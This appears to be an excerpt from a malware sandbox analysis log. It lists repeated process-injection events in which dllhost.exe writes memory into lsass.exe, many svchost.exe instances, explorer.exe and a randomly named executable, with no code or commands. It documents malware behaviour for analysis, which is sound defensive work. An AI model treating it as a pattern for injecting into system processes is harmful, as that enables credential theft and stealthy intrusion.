Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BCE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166940000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E29D00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 3400000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC690000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178970000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64520000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2538D0F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 194B7F40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27555FD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 2DFC7040000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 4200000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 29A023B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1A648070000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E990500000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1887F5C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 219111D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2570000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2930000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2750000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 28B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 940000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2330000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: BD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: FF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 27D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 25D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2920000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2390000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2740000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: B50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2550000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 7F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 9F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 12F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2600000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2500000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2820000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2510000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2220000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 720000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: AA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 880000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 690000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2840000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2E30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: C30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 910000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 23A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2310000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 29C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 1500000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2BB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 25D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2130000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2610000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 8D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2360000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 29C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 20C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 27F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 15B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 12D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2FE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 1480000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 14F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: F50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2EF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 22F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: BF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 970000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 720000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 23F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 670000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2970000
